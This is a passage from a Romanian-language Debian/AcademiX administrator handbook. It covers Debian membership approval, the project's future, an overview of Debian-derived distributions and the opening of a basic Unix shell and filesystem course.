candidaților în Debian înainte de a deveni o membru plin a acestuia. Este o politică deliberată, prin care
candidații care se înscriu în final la proiect sunt integrați ca o altă piesă a unui mozaic extensibil necontenit.
Acest pas este de obicei cunoscut ca Philosophy & Procedures (P&P, pe scurt) în limbajul dezvoltatorilor
implicați în procesul de acceptare a unui membru nou.

347
15.4.2.4. Verificarea aptitudinilor
Fiecare cerere pentru a deveni dezvoltator oficial Debian trebuie să fie justificată. Pentru a deveni membru al
proiectului, trebuie să arătați că acest statut este legitim și că ușurează munca candidatului în a ajuta
Debian. Cea mai frecventă justificare este aceea că statutul de dezvoltator Debian acordat facilitează
menținerea unui pachet Debian, dar nu este singurul. Unii dezvoltatori se alătură proiectului pentru a
contribui la portarea la o arhitectură specifică, alții vor să îmbunătățească documentația, etc.
Acest pas reprezintă prilejul pentru candidat de a declara ce intenționează să facă în cadrul proiectului
Debian și de a arăta ce a făcut deja în acest scop. Debian este un proiect pragmatic și spune că ceva nu
este suficient, dacă acțiunile nu se potrivesc cu cele anunțate. În general, când rolul prevăzut în cadrul
proiectului este legat de întreținerea pachetului, o primă versiune a viitorului pachet va trebui să fie validată
tehnic și încărcată pe Debian server-e de către un sponsor dintre dezvoltatorii Debian existenți.

COMUNITATE Dezvoltatorii Debian pot “sponsoriza” pachetele pregătite de altcineva, ceea ce înseamnă că le publică în
Sponsorizarea depozitele oficiale Debian după ce au efectuat o examinare atentă. Acest mecanism permite persoanelor externe,
care încă nu au trecut prin procesul de acceptare ca nou membru, să contribuie ocazional la proiect. În același
timp, se asigură că toate pachetele incluse în Debian au fost mereu verificate de un membru oficial.

În cele din urmă, examinatorul verifică aptitudinile tehnice (de împachetare) ale candidatului printr-un
chestionar detaliat. Răspunsurile necorespunzătoare nu sunt permise, dar timpul de răspuns nu este limitat.
Toată documentația este disponibilă și mai multe încercări sunt permise dacă primele răspunsuri nu sunt
satisfăcătoare. Acest pas nu intenționează să discrimineze, ci să asigure cel puțin un volum modic de
cunoștințe generale noilor contributori.
Acest pas este cunoscut în jargonul examinatorilor sub numele de pasul Sarcini & Aptitudini (Tasks & Skills,
T&S, pe scurt).

15.4.2.5. Aprobarea finală

În ultima etapă, întregul proces este revizuit de către un DAM — Debian Account Manager. DAM va examina
toate informațiile despre candidatul pe care le-a colectat examinatorul și va lua decizia dacă va crea sau nu
un cont pe Debian server-e. În cazurile în care sunt necesare informații suplimentare, crearea contului poate
fi întârziată. Refuzurile sunt destul de rare dacă examinatorul face o treabă bună de a urma procesul, dar se
întâmplă uneori. Acestea nu sunt niciodată definitive iar candidatul este liber să încerce din nou mai târziu.
Decizia DAM este autoritară și (aproape) fără apel, ceea ce explică de ce oamenii din acea poziție au fost
adesea criticați în trecut.

348
349
 Repere

Viitor
Îmbunătăţiri
Opinii

350
Capitolul 16

16. AcademiX și Debian în viitor

Conţinut
Dezvoltări viitoare 352 Debian în viitor 352 Viitorul acestei cărți 352

Povestea Școlii Generale se încheie cu acest ultim capitol; dar AcademiX și Debian continuă, iar viitorul va
aduce cu siguranță multe surprize interesante.

351
16.1. Dezvoltări viitoare
Acum că a ieșit Debian versiunea 10, dezvoltatorii sunt deja ocupați să lucreze la următoarea versiune,
denumită Bullseye...
Nu există o listă oficială a modificărilor planificate, iar Debian nu face niciodată promisiuni referitoare la
obiectivele tehnice ale versiunilor următoare. Cu toate acestea, câteva tendințe de dezvoltare pot fi deja
notate și putem încerca câteva previziuni care s-ar putea întâmpla (sau nu).
Pentru a îmbunătăți securitatea și încrederea, cele mai multe pachete, dacă nu toate, vor fi făcute pentru a fi
construite reproductibil; adică va fi posibilă reconstruirea pachetelor binare identice “byte-for-byte“ din
pachetele sursă, permițând astfel tuturor să verifice dacă nu a avut loc nicio interferență în timpul
construirilor.
Legat de acest subiect, va fi depus mult efort pentru îmbunătățirea securității implicite și pentru reducerea
atât a atacurilor “tradiționale”, cât și a noilor amenințări apărute dinspre supravegherea în masă.
Desigur, toate principalele suite de software vor fi având o versiune majoră. Cea mai recentă versiune a
diferitelor desktop-uri va aduce o mai bună utilizare și funcții noi. Wayland, noul display server care este
dezvoltat pentru a înlocui X11 cu o alternativă mai modernă, va fi disponibil (deși poate nu implicit) pentru cel
puțin o parte din mediile de desktop.
Odată cu utilizarea pe scară largă a integrării continue și creșterea arhivei (și a celor mai mari pachete!),
Constrângerile asupra versiunilor pe arhitecturi vor fi mai greu de îndeplinit, și unele arhitecturi vor fi
abandonate (cum ar fi mips, mipsel și poate mips64el).

16.2. Debian în viitor

În plus față de aceste evoluții interne, deoarece multe instrumente continuă să faciliteze această sarcină, ne
putem aștepta în mod rezonabil să apară noi distribuții bazate pe Debian. AcademiX este una, și este
construită pentru educație. De asemenea, vor fi demarate noi subproiecte specializate, pentru a lărgi accesul
lui Debian la noi orizonturi.
Comunitatea utilizatorilor Debian va crește, iar noii contribuitori se vor alătura proiectului... poate, inclusiv
dvs.!
Proiectul Debian este mai puternic ca niciodată și este pe cale de a-și atinge obiectivul unei distribuții
universale; gluma, care circulă în cadrul comunității Debian, este despre Dominația Mondială.
Există discuții recurente despre evoluția ecosistemului software, către aplicații livrate în containere, unde
pachetele Debian nu au valoare adăugată, sau cu administratori de pachete specifice limbii (de exemplu,
pip pentru Python, npm pentru JavaScript etc.), care redau dpkg și apt învechit. În fața acestor amenințări,
sunt convins că dezvoltatorii Debian vor găsi modalități de a îmbrățișa aceste evoluții și de a oferi în
continuare valoare utilizatorilor.
În ciuda vârstei și dimensiunii sale respectabile, Debian continuă să se întindă în tot felul de direcții (uneori
neașteptate). Contributorii vin cu idei, iar discuțiile cu privire la listele de e-mailuri despre dezvoltare, chiar și
atunci când arată ca niște ciondăneli continuă să ia avânt. Debian este uneori comparat cu o gaură neagră,
a cărei gravitații atât de mari atrage orice proiect de software liber.
Dincolo de satisfacția evidentă a majorității utilizatorilor Debian, o tendință profundă devine din ce în ce mai
incontestabilă: oamenii realizează din ce în ce mai mult cât înseamnă colaborarea (în loc să lucreze singuri
în colțul lor), aceasta aduce rezultate mai bune pentru toată lumea. Acesta este motivul folosit de distribuțiile
care fuzionează în Debian prin subproiecte.
Prin urmare, proiectul Debian nu este amenințat de dispariție...

16.3. Viitorul acestei cărți

Am dori ca această carte să evolueze în spiritul software-ului liber. Prin urmare, salutăm contribuțiile,
observațiile, sugestiile și criticile.
Pentru Manualul AcademiX, vă rugăm să le direcționați către Dani2014 (xx@academixproject.com) și Cristi
(cristirusu@academixproject.com).
Pentru Debian, vă rugăm să le direcționați către Raphaël (hertzog@debian.org sau Roland (lolando@debian.org).
Pentru feedback legal, nu ezitați să deschideți rapoarte despre erori pentru pachetul Debian debian-

352
handbook. Site-ul va fi utilizat pentru a aduna toate informațiile relevante pentru evoluția sa și veți găsi acolo
informații despre cum să contribuiți, în special dacă doriți să traduceți această carte pentru a o pune la
dispoziția unui public și mai mare decât în prezent.
➨ http://debian-handbook.info/
Am încercat să integrăm cea mai mare parte din experiența noastră de la Debian, pentru ca oricine să poată
folosi această distribuție (și cele bazate pe ea) și să profite cât mai curând de ea. Sperăm că această carte
contribuie la crearea unei imagini mai puțin confuze despre Debian, să-l facă mai popular și vom saluta
publicitatea făcută cărții!
Încheiem într-o notă personală. Scrierea (și traducerea) acestei cărți a luat un timp considerabil din
activitatea noastră profesională obișnuită. Deoarece amândoi suntem consultanți independenți, orice nouă
sursă de venit ne oferă libertatea de a petrece mai mult timp îmbunătățind Debian; sperăm ca această carte
să aibă succes și să contribuie la aceasta. Între timp, nu ezitați să vă reamintiți de serviciile noastre!
➨ http://www.freexian.com
➨ http://www.gnurandal.com

Pe curând!

353
Anexa A

A. Distribuții derivate
Conţinut
Recensământ și cooperare 354 Ubuntu 354 Linux Mint 355 Knoppix 355
Aptosid și Siduction 355 Grml 356 Tails 356 Kali Linux 356 Devuan 356
DoudouLinux 356 Raspbian 356 PureOS 356 SteamOS 357 Și multe altele 357

Multe distribuții Linux sunt derivate din Debian și reutilizează instrumentele de gestionare a pachetelor
Debian. Toate au propriile lor proprietăți interesante și este posibil ca unul dintre ele să vă îndeplinească
nevoile mai bine decât Debian însuși.

A.1. Recensământ și cooperare

Proiectul Debian recunoaște pe deplin importanța distribuțiilor derivate și sprijină în mod activ colaborarea
dintre toate părțile interesate. Aceasta implică de obicei contopirea îmbunătățirilor dezvoltate inițial de
distribuțiile derivate, astfel încât toată lumea să poată beneficia și lucrările de întreținere pe termen lung să
fie reduse.
Așa se explică de ce distribuțiile derivate sunt invitate să se implice în discuțiile de pe lista debian-
derivatives@lists.debian.org și să participe la recensământul derivatelor. Acest recensământ își
propune să strângă informații despre lucrările care se desfășoară într-un derivat, astfel încât întreținătorii
oficiali Debian să poată urmări mai bine starea pachetului lor în variantele Debian.
➨ https://wiki.debian.org/DerivativesFrontDesk
➨ https://wiki.debian.org/Derivatives/Census
Să descriem pe scurt cele mai interesante și populare distribuții derivate.

A.2. Ubuntu
Ubuntu a făcut senzație când a apărut pe scena Free Software și, dintr-un motiv întemeiat: Canonical Ltd.,
compania care a creat această distribuție, a început prin angajarea a treizeci și ceva de dezvoltatori Debian
și declararea publică a obiectivului (de anvergură) de a furniza o distribuție pentru publicul larg, cu lansări noi
de două ori pe an. De asemenea, s-au angajat să mențină fiecare versiune pentru un an și jumătate.
Aceste obiective implică în mod necesar o reducere a domeniului de aplicare; Ubuntu se concentrează pe un
număr mai mic de pachete decât Debian și se bazează în principal pe desktopul GNOME (deși un derivat
Ubuntu oficial, numit “Kubuntu”, se bazează pe KDE). Totul este internaționalizat și pus la dispoziție în foarte
multe limbi.
Până acum, Ubuntu a reușit să mențină acest ritm de lansare. De asemenea, acestea publică versiuni
Suport pe Termen Lung (LTS), cu promisiunea de întreținere pe 5 ani. În aprilie 2015, actuala versiune LTS este
versiunea 14.04, poreclită Unicorn Utopic. Ultima versiune non-LTS este versiunea 15.04, poreclită Vivid
Vervet. Numerele de versiuni descriu data lansării: 15.04, de exemplu, a fost lansat în aprilie 2015.

ÎN PRACTICĂ Canonical a ajustat de mai multe ori regulile care reglementează durata perioadei în care se menține o versiune
Promisiunea Ubuntu de dată. Canonical, în calitate de companie, promite să ofere actualizări de securitate la toate software-urile
susținere și întreținere disponibile în secțiunile main și restricted din arhiva Ubuntu, timp de 5 ani pentru versiunile LTS și
pentru 9 luni pentru lansări non-LTS.

354
 Toate celelalte (disponibile în universe și multiverse) sunt menținute, pe cât e posibil, de eforturile
voluntarilor echipei MOTU (Masters Of The Univers). Fiți pregătit să vă ocupați de asistența de securitate dacă
vă bazați pe pachetele din secțiunile din urmă.

Ubuntu a ajuns la o audiență considerabilă în publicul larg. Milioane de utilizatori au fost impresionați de
instalarea sa ușoară și de efortul făcut pentru utilizarea mai ușoară a desktop-ului.
Ubuntu și Debian au avut o relație tensionată; Dezvoltatorii Debian care și-au pus mari speranțe în Ubuntu,
prin contribuția directă la Debian, au fost dezamăgiți de diferența dintre marketingul Canonical, ceea ce
presupunea că Ubuntu erau corecți în lumea Free Software și practicile reale prin care pur și simplu făceau
publice modificările pe care le aplicau pachetelor Debian. Lucrurile s-au îmbunătățit de-a lungul anilor, iar
Ubuntu a făcut acum o practică generală să redirecționeze patch-uri în cel mai potrivit loc (deși acest lucru se
aplică doar software-ului extern pe care îl împachetează și nu software-ului specific Ubuntu, cum ar fi Mir sau
Unity).
➨ http://www.ubuntu.com/

A.3. Linux Mint

Linux Mint este o distribuție întreținută (parțial) de comunitate, susținută de donații și reclame. Produsul lor
principal este bazat pe Ubuntu, dar oferă și o variantă “Linux Mint Debian Edition” care evoluează continuu
(deoarece se bazează pe Debian Testing). În ambele cazuri, instalarea inițială implică pornirea unui LiveDVD.
Distribuția are ca scop simplificarea accesului la tehnologii avansate și oferă interfețe grafice specifice
utilizatorilor deasupra software-ului obișnuit. De exemplu, Linux Mint se bazează pe Cinnamon în loc de
GNOME în mod implicit (dar include și MATE, precum și KDE și Xfce); tot așa, interfața de gestionare a
pachetelor, deși se bazează pe APT, oferă o interfață specifică și cu o evaluare a riscului din fiecare
actualizare a pachetului.
Linux Mint include o număr mare de software proprietar pentru a îmbunătăți experiența utilizatorilor care ar
putea avea nevoie de acestea. De exemplu: Adobe Flash și multimedia codecs.
➨ http://www.linuxmint.com/

A.4. Knoppix
Distribuția Knoppix abia dacă are nevoie de o introducere. A fost prima distribuție populară care a oferit un
LiveCD; cu alte cuvinte, un CD-ROM de pornire care rulează un sistem Linux la cheie, fără a fi nevoie de un
hard disk — orice sistem deja instalat pe mașină va fi lăsat neatins. Detectarea automată a dispozitivelor
disponibile permite ca această distribuție să funcționeze în majoritatea configurațiilor hardware. CD-ROM-ul
include aproape 2 GB de software (comprimat), iar versiunea DVD-ROM are și mai multe.
Combinația CD-ROM-stick USB vă permite să vă transportați fișierele și să lucrați pe orice computer fără să
lăsați urmă — nu uitați că distribuția nu folosește deloc hard disk-ul. Knoppix folosește implicit LXDE (un
desktop grafic ușor), dar versiunea DVD include și GNOME și KDE. Multe alte distribuții oferă alte combinații
de desktop și software. Acest lucru a fost posibil, în parte, datorită pachetului live-build Debian care face relativ
ușoară crearea unui LiveCD.
➨ https://live-team.pages.debian.net/live-manual/
Rețineți că Knoppix oferă și un program de instalare: mai întâi puteți încerca distribuția ca LiveCD, apoi s-o
instalați pe un hard disk pentru a obține performanțe mai bune.
➨ http://www.knopper.net/knoppix/index-en.html

A.5. Aptosid și Siduction

Aceste distribuții bazate pe comunitate urmăresc schimbările din Debian Sid (Unstable) — de aici și numele
lor. Modificările sunt limitate: obiectivul este furnizarea celui mai recent software și actualizarea driver-elor
pentru cel mai recent hardware, permițând totuși utilizatorilor să revină la distribuția oficială Debian în orice
moment. Aptosid a fost cunoscut anterior ca Sidux, iar Siduction este o furcare mai recentă a lui Aptosid.
➨ http://aptosid.com
➨ http://siduction.org

355
A.6. Grml
Grml este un LiveCD cu multe instrumente pentru administratorii de sistem, care se ocupă cu instalarea,
implementarea și salvarea sistemului. LiveCD-ul este oferit în două variante, full și small, ambele
disponibile pentru PC-uri pe 32bit și 64bit. Evident, cele două variante diferă în funcție de cantitatea de
software inclusă și de dimensiunea rezultată.
➨ https://grml.org

A.7. Tails
Tails (Amnesic Incognito Live System) urmărește să ofere un sistem live care să păstreze anonimatul și
confidențialitatea. Are mare grijă să nu lăsați vreo urmă pe computerul pe care rulează și folosește rețeaua
Tor pentru a vă conecta la Internet în cel mai anonim mod posibil.
➨ https://tails.boum.org

A.8. Kali Linux

Kali Linux este o distribuție bazată pe Debian specializată în testarea penetrărilor (“pentesting” pentru scurt).
Oferă programe software care ajută la auditul securității unui computer sau unei rețele existente în timp ce
este live, și o analizează după un atac (cunoscut sub numele de “cercetare judiciară computerizată”).
➨ https://kali.org

A.9. Devuan
Devuan este o furcare relativ nouă a Debian: a început în 2014 ca reacție la decizia luată de Debian de a
trece la systemd ca “init sistem” implicit. Un grup de utilizatori atașat de sysv și opunându-se
dezavantajelor (reale sau percepute) ale systemd a pornit proiectul Devuan cu obiectivul de a menține un
sistem fără systemd.
➨ https://devuan.org

A.10. DoudouLinux
DoudouLinux se adresează copiilor mici (începând de la vârsta de 2 ani). Pentru a atinge acest obiectiv, oferă
o interfață grafică puternic personalizată (bazată pe LXDE) și vine cu multe jocuri și aplicații educative.
Accesul la Internet este filtrat pentru a împiedica copiii să viziteze web site-uri cu probleme. Reclamele sunt
blocate. Scopul este ca părinții să fie liberi să-și lase copiii să-și folosească computerul odată pornit în
DoudouLinux. Și copiii ar trebui să îndrăgească folosirea lui DoudouLinux, asemenea consolei de jocuri.
➨ http://www.doudoulinux.org

A.11. Raspbian
Raspbian este o reconstituire optimizată a lui Debian pentru familia populară (și ieftină) Raspberry Pi de
computere cu o singură placă. Hardware-ul pentru acea platformă este mai puternic decât ceea ce arhitectura
Debian armel poate profita, dar îi lipsește unele caracteristici care ar fi necesare pentru armhf; deci Raspbian
este un fel de intermediar, reconstruit special pentru acel hardware și care include patch-uri care vizează doar
acest computer.
➨ https://raspbian.org

A.12. PureOS
PureOS este o distribuție bazată pe Debian axată pe confidențialitate, comoditate și securitate.

356
Urmează GNU Free System Distribution Guidelines21, utilizat de Free Software Foundation pentru a califica o
distribuție ca fiind gratuită. Compania cu scop social Purism îi ghidează dezvoltarea.
➨ https://pureos.net/

A.13. SteamOS
SteamOS este o distribuție bazată pe Debian, orientată spre jocuri, dezvoltată de Valve Corporation. Este
folosit în Steam Machine, o linie de computere pentru jocuri.
➨ https://store.steampowered.com/steamos/

A.14. Și multe altele

Distrowatch site face referire la un număr mare de distribuții Linux, multe dintre ele fiind bazate pe Debian.
Navigarea pe acest site este o modalitate excelentă de a înțelege diversitatea din lumea software-ului liber.
➨ http://distrowatch.com

Formularul de căutare vă poate ajuta să urmăriți o distribuție pe baza strămoșilor săi. În iunie 2019, o
căutare, cu filtrul Debian, a afișat 127 de distribuții active!
➨ http://distrowatch.com/search.php

21https://www.gnu.org/distros/free-system-distribution-guidelines.html

357
358
Anexa B

B. Scurt curs de remediere

Conţinut
Shell și comenzi de bază 359 Organizarea ierarhiei sistemului de fișiere 361
Cum funcționarea computerul: diferitele straturi implicate 362 Câteva sarcini gestionate de kernel 364
Spațiul utilizatorului 366

Chiar dacă această carte vizează în primul rând administratorii și “utilizatorii experimentați”, nu am dori să-i
excludem pe începătorii motivați. De aceea, această anexă va fi un curs intensiv care descrie conceptele
fundamentale implicate în gestionarea unui computer Unix.

B.1. Shell și comenzi de bază

În lumea Unix, fiecare administrator trebuie să utilizeze linia de comandă mai devreme sau mai târziu; de
exemplu, atunci când sistemul nu pornește corect și oferă doar un mod de recuperare în linie de comandă.
Astfel că, a fi capabil să se ocupe de o astfel de interfață este o aptitudine de bază pentru supraviețuirea
acestor circumstanțe.

O PRIVIRE RAPIDĂ Un mediu de linie de comandă poate fi rulat de pe desktopul grafic, de către o aplicație cunoscută sub numele de
Pornirea interpretorului de “terminal”. În GNOME, îl puteți porni din prezentarea “Activități” (pe care o obțineți atunci când mutați mouse-
comenzi ul în colțul din stânga sus al ecranului) tastând primele litere ale numelui aplicației. În KDE, îl veți găsi în
meniul K → Applications → System menu.

Această secțiune oferă doar o privire rapidă asupra comenzilor. Toate au multe opțiuni care nu sunt descrise
aici, așa că vă rugăm să consultați documentația abundentă din paginile lor de manual.

B.1.1. Navigarea în arborele de directoare și gestionarea fișierelor

Odată ce o sesiune este deschisă, comanda pwd (care înseamnă afișează directorul de lucru) afișează locația
curentă în sistemul de fișiere. Directorul curent este schimbat cu comanda cd directory (cd este pentru
schimbă director). Directorul părinte este întotdeauna numit .. (două puncte), în timp ce directorul curent este
cunoscut și ca . (un punct). Comanda ls permite listarea conținutului unui director. Dacă nu sunt dați
parametrii, acesta funcționează în directorul curent.

$ pwd
/home/dogg
$ cd Desktop
$ pwd
/home/dogg/Desktop
$ cd .
$ pwd
/home/dogg/Desktop
$ cd ..
$ pwd
/home/dogg
$ ls
Desktop Downloads Pictures Templates
Documents Music Public Videos

359
Un nou director poate fi creat cu mkdir directory, iar un director existent (gol) poate fi eliminat cu rmdir
directory. Comanda mv permite mutarea și/sau redenumirea fișierelor și directoarelor; eliminarea unui fișier
se realizează cu rm file.

$ mkdir test
$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public test
$ mv test new
$ ls
Desktop Downloads new Public Videos
Documents Music Pictures Templates
$ rmdir new
$ ls
Desktop Downloads Pictures Templates Videos
Documents Music Public

B.1.2. Afișarea și modificarea fișierelor text

Comanda cat file (destinată să concateneze fișiere la dispozitivul de ieșire standard) citește un fișier și își
afișează conținutul în terminal. Dacă fișierul este prea mare pentru a se încadra pe un ecran, utilizați un pager
cum ar fi less (sau more) pentru a-l afișa pagina cu pagină.
Comanda editor pornește un editor de text (precum vi sau nano) și permite crearea, modificarea și
citirea fișierelor text. Cele mai simple fișiere pot fi uneori create direct de la interpretorul de comandă datorită
redirecționării: echo ”text” >file creează un fișier numit file cu “text” ca și conținut al acesteia.
Adăugarea unei linii la sfârșitul acestui fișier este posibilă și cu o comandă cum ar fi echo ”moretext”
>>file. Rețineți acest >> în acest exemplu.

B.1.3. Căutarea fișierelor și în fișiere

Comanda find directory criteria caută fișiere în ierarhia din directory după mai multe criterii. Cel
mai des utilizat criteriu este -name name: care permite căutarea unui fișier cu numele său.
Comanda grep expression files caută conținutul fișierelor și extrage liniile care corespund expresiei
obișnuite (vezi bara laterală “Regular expression” pagina 222). Adăugând opțiunea -r permite o căutare recursivă
prin toate fișierele conținute în directorul trecut ca parametru. Aceasta permite căutarea unui fișier atunci
când este cunoscută doar o parte din conținut.

B.1.4. Gestionarea proceselor

Comanda ps aux listează procesele în curs de desfășurare și ajută la identificarea acestora, arătându-le
pid (procesele id). După ce se cunoaște pid al unui proces, comanda kill -signal pid permite trimiterea
unui semnal (dacă procesul aparține utilizatorului curent). Există mai multe semnale; cele mai des utilizate
sunt TERM (o cerere de a termina elegant) și KILL (o terminare forțată).
Interpretorul de comandă poate rula, de asemenea, programe în fundal când comanda este urmată de “&”.
Prin utilizarea funcției ampersand (logograma &, reprezintă conjuncţia “şi (comercial)”), utilizatorul reia controlul
shell-ului imediat, chiar și când comanda este încă în curs (ascunsă de utilizator; ca proces de fundal).
Comanda job listează procesele care se execută în fundal; rulînd fg %job-number (pentru foreground)
restabilește un program în prim-plan. Când o comandă se execută în prim plan (fie pentru că a fost pornită
normal, fie readusă la prim plan cu fg), combinația de taste Control+Z întrerupe procesul și reia controlul
liniei de comandă. Procesul poate fi apoi repornit în fundal cu bg %job-number (pentru fundal-background).

B.1.5. Informații despre sistem: memorie, spațiu pe disc, identitate

Comanda free afișează informații pe memorie; df (disk free) raportează despre spațiul de disc disponibil pe
fiecare discuri montate în sistemul de fișiere. Opțiunea sa -h (pentru human readable-lizibil) transformă
dimensiunile într-o unitate mai lizibilă (de obicei mebibytes sau gibibytes). Într-o manieră similară, comanda
free acceptă opțiunile -m and -g și își afișează datele fie în mebibyte, respectiv în gibibytes.

$ free
total used free shared buff/cache available

360
Mem: 16279260 5910248 523432 871036 9845580 9128964
Swap: 16601084 240640 16360444
$ df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 8108516 0 8108516 0% /dev
tmpfs 1627928 161800 1466128 10% /run
/dev/mapper/vg_main-root 466644576 451332520 12919912 98% /
tmpfs 8139628 146796 7992832 2% /dev/shm
tmpfs 5120 4 5116 1% /run/lock
tmpfs 8139628 0 8139628 0% /sys/fs/cgroup
/dev/sda1 523248 1676 521572 1% /boot/efi
tmpfs 1627924 88 1627836 1% /run/user/1000

Comanda id afișează identitatea utilizatorului care rulează sesiunea, împreună cu lista grupurilor
căreia îi aparține. Întrucât accesul la unele fișiere sau dispozitive poate fi limitat la membrii
grupului, verificarea apartenenței la grup, disponibile, poate fi utilă.
$ id
uid=1000(dogg) gid=1000(dogg) groups=1000(dogg),24(cdrom),25(floppy),27(
⮩sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(
⮩ scanner)

B.2. Organizarea ierarhiei sistemului de fișiere

B.2.1. Directorul root
Un sistem Debian este organizat de-a lungul Standardul Ierarhiei Sistemului de Fișiere (FHS). Acest standard
definește scopul fiecărui director. De exemplu, directoarele de nivel superior sunt descrise astfel:
• /dev/: fișiere de dispozitiv;
• /etc/: fișiere de configurare;
• /home/: fișiere personale ale utilizatorului;
• lib/: biblioteci de baza;
• /media/*: puncte de montare pentru dispozitive detașabile (CD-ROM, stick USB și așa mai
departe);
• /mnt/: punct de montare temporar;
• /opt/: aplicații suplimentare furnizate de terțe părți;
• /root/: fișierele personale ale administratorului (root);
• /run/: date volatile de rulare care nu persistă în timpul repornirilor (încă neincluse în FHS);
• /sbin/: programe de sistem;
• /srv/: date utilizate de server-e găzduite pe acest sistem;
• /tmp/: fișiere temporare; acest director este deseori golit la pornire;
• /usr/: aplicații; acest director este subdivizat în continuare în bin, sbin, lib (conform aceleiași
logici ca în directorul rădăcină). În plus, /usr/share/ conține date independente de arhitectură.
/usr/local/ este menit să fie utilizat de administrator pentru instalarea manuală a aplicațiilor fără
a suprascrie fișierele gestionate de sistemul de împachetare (dpkg).
• /var/: date variabile gestionate de daemon-i. Acesta include fișierele jurnal, cozile, spool-urile, cache-
urile, și așa mai departe.
• /proc/ și /sys/ sunt specifice nucleului Linux (și nu fac parte din FHS). Acestea sunt utilizate de
kernel pentru a exporta date în user space (consultați secțiunea B.3.4. “Spațiul utilizatorului” pagina 364 și
secțiunea B.5. “Spațiul utilizatorului” pagina 366 pentru explicații despre acest concept).
Rețineți că multe distribuții moderne, inclusiv Debian, trimit /bin, /sbin și /lib ca simlinks către
directoarele corespunzătoare de sub /usr, astfel încât toate programele și bibliotecile să fie disponibile într-
un singur arbore. Face mai ușoară protejarea integrității fișierelor de sistem și partajarea acelor fișiere de
sistem între mai multe containere etc.

B.2.2. Directorul home al utilizatorului

Conținutul directorului home al utilizatorului nu este standardizat, totuși sunt de remarcat câteva convenții.
Unul este că directorul principal al utilizatorului este adesea menționat de o tildă. Acest lucru este bine de

361
știut, deoarece interpretorii de comandă înlocuiesc automat o tildă (“~”) cu directorul corect de obicei
/home/user/).
Tradițional, fișierele de configurare ale aplicațiilor sunt adesea stocate direct sub directorul home al
utilizatorului, dar numele lor încep de obicei cu un punct (de exemplu, mutt e-mail client își stochează
configurația în ~/.muttrc). Rețineți că numele de fișiere care încep cu un punct sunt ascunse în mod
implicit; și ls le enumeră numai atunci când se folosește opțiunea -a, iar managerelor grafice de fișiere
trebuie să li se spună să afișeze fișiere ascunse.
Unele programe folosesc de asemenea mai multe fișiere de configurare organizate într-un singur director
(de exemplu, ~/.ssh/). Unele aplicații (cum ar fi Firefox) folosesc, de asemenea, directorul lor pentru a
stoca o memorie cache a datelor descărcate. Aceasta înseamnă că acele directoare pot ajunge să folosească
mult spațiu pe disc.
Aceste fișiere de configurare stocate direct în directorul de acasă al unui utilizator, denumit adesea colectiv
dotfiles, au atât de mult până la punctul că pot fi foarte dezordonate în aceste directoare. Din fericire, un
efort condus colectiv sub umbrela FreeDesktop.org a dus la “XDG Base Directory Specification”, o convenție
care urmărește curățarea acestor fișiere și director. Această specificație precizează că fișierele de
configurare ar trebui stocate în ~/.config, fișiere cache în ~/.cache și în fișierele de date ale aplicației în
~/.local/ (sau subdirectoare ale acestora). Această convenție câștigă încet aderenți și mai multe aplicații
(în special cele grafice) au început să o urmeze.
Desktop-urile grafice afișează de obicei conținutul directorului ~/Desktop/ (sau orice traducere adecvată
pentru sisteme care nu sunt configurate în engleză) pe desktop (adică, ceea ce este vizibil pe ecran, iconizat,
pictogramă,odată ce toate aplicațiile sunt închise).
În cele din urmă, e-mail system stochează uneori e-mail-urile primite într-un director ~/Mail/.

B.3. Cum funcționează computerul: diferitele straturi

implicate
Un computer este adesea considerat ca ceva mai degrabă abstract, iar interfața vizibilă extern este mult mai
simplă decât complexitatea sa internă. O astfel de complexitate provine în parte din numărul de piese
implicate. Cu toate acestea, aceste piese pot fi vizualizate în layers, unde un strat interacționează doar cu
cele imediat deasupra sau de dedesubt.
Utilizatorul final poate lua fără să știe aceste detalii... atât timp cât totul funcționează. Când vă confruntați cu
o problemă, cum ar fi “Internetul nu funcționează!”, primul lucru de făcut este să identificați de la ce strat (nivel)
provine problema. Funcționează placa de rețea (hardware)? Este recunoscută de computer? Nucleul Linux o
vede? Parametrii de rețea sunt configurați corect? Toate aceste întrebări izolează un layer adecvat și se
concentrează pe o sursă potențială a problemei.

B.3.1. Stratul cel mai de Jos: hardware-ul

Să începem cu un memento de bază; că un computer este, în primul rând, un set de elemente hardware.
Există, în general, o placă principală (cunoscută sub numele de motherboard), cu unul sau mai multe
procesoare, câteva sloturi de RAM, controller-e de dispozitive și sloturi de extensie pentru opțiuni de plăci
(pentru alte controller-e de dispozitiv). Cele mai notabile dintre aceste controlere sunt IDE (paralel ATA), SCSI
și Serial ATA, pentru conectarea la dispozitive de stocare, cum ar fi hard disk-urile. Alte controller-e includ
USB, care poate găzdui o mare varietate de dispozitive (de la camere web la termometre, de la tastaturi la
sisteme de automatizare casnică) și IEEE 1394 (Firewire — o interfață comparabilă cu USB). Aceste
controller-e permit adesea conectarea mai multor dispozitive, astfel încât subsistemul complet gestionat de
un controller este de obicei cunoscut sub numele de “bus”. Opțiunile de plăci includ carduri grafice (în care
vor fi conectate ecranele monitorului), plăci de sunet, plăci de interfață de rețea și așa mai departe. Unele
plăci principale sunt pre-construite cu aceste caracteristici și nu au nevoie de plăci opționale.

ÎN PRACTICĂ Verificarea faptului că o componentă hardware funcționează poate fi dificilă. Pe de altă parte, dovada că nu
Verificarea funcționării funcționează este uneori destul de simplă.
hardware-ului O unitate HDD este formată din platane rotitoare și capete magnetice în mișcare. Atunci când un hard disk este
pornit, motorul platanului face un vâjâit caracteristic. De asemenea, disipează energia sub formă de căldură. În
consecință, o unitate HDD care rămâne rece și silențioasă la pornire este stricată.

362
 Plăcile de rețea includ adesea LED-uri care afișează starea conexiunii. Dacă un cablu este conectat și duce la un
hub sau rețea funcțională, cel puțin un LED va fi aprins. Dacă nu se aprinde nici un LED, fie cardul în sine,
dispozitivul de rețea sau cablul dintre ele, este defect. Următorul pas este, prin urmare, testarea fiecărei
componente individual.
Unele opțiuni de plăci — în special plăci video 3D — includ dispozitive de răcire, cum ar fi radiatoare de
căldură și/sau ventilatoare. Dacă ventilatorul nu se rotește, chiar dacă placa este alimentată, o explicație
plauzibilă este placa supra-încălzită. Acest lucru este valabil și pentru procesorul (procesoarele) principal
amplasat pe placa de bază.

B.3.2. Starterul: BIOS sau UEFI

Hardware-ul, de la sine, nu este în măsură să efectueze sarcini utile fără o aplicație software care să-l
